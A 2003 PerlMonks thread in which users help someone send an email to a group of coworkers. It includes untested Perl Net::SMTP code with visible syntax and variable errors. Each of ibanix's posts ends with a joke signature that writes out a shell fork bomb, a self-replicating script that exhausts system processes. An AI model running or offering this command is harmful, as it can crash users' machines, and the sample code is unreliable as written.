Beefy Boxes and Bandwidth Generously Provided by pair Networks
good chemistry is complicated,
and a little bit messy -LW
 
PerlMonks  

Re: cant send a mass email

by ibanix (Hermit)
on Mar 19, 2003 at 01:20 UTC ( #244205=note: print w/replies, xml ) Need Help??


in reply to cant send a mass email

You didn't describe what your problem was. What happens? What's the error? It will help if you add
use warnings; use strict;
to the start of your code. This will enable warnings and force you to declare your variables, which greatly aids in catching mistakes.

Now, on the topic of your code: You're trying to send an email with one very long list of recipients. It's possible your email server will not honor this. You may want to try sending one email/address, like so (code UNTESTED):
use strict; use warnings; # Define constants my $address_file = "email.txt"; my $message_text = "message.txt"; my $from_addr = "anywhere@home.com"; my $mailhost = "localhost"; # Always check to see if file opened or not open(MSG, "$message_text") || die "Could not open $message_text! $!\n" +; my $subject; my $body; LINE: while(<MSG>) { if /^subject:(.*)/ { $subject = $1 and next LINE}; $body .= $_; } close(MSG); open(LIST, "$address_file") || die "Could not open $address_file! $!\n +"; # Send an email for each address in the file # Note we're not doing any validation on addresses while(<LIST>) { chomp; my $sender = Net::SMTP->new("$localhost"); $sender->mail("$from_addr"); $sender->to("$_"); $sender->data(); $sender->datasend ("From: Home\n"); $sender->datasend ("Subject: $subject\n\n"); $sender->datasend ("$body\n"); $sender->dataend(); $sender->quit(); } close(LIST);
Hope this helps. Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

Replies are listed 'Best First'.
Re: Re: cant send a mass email
by Anonymous Monk on Mar 19, 2003 at 01:28 UTC
    I have to send a mass email to a group of people in my company. I have tested it out by sending it to my own email account and it worked. Is there a way to setup a variable with everyones email that will allow me to go through the scrip once rather than use a while loop? Thanks again for the help
      Is there a way to setup a variable with everyones email that will allow me to go through the scrip once rather than use a while loop?

      Why does it matter? As I already said, your email server may refuse to send emails with an excessive number of recpienents. You are better left to sending one email per address.

      ibanix

      $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;

        since it's legit, (he's sending to himselfish), his best bet is to have the email admin people setup an alias for his group of people. then he can send one message to my-list@mymail.mydom.com for example and the server will send it to everybody for him.

Log In?
Username:
Password:

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: note [id://244205]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others about the Monastery: (4)
As of 2022-08-09 19:31 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found

    Notices?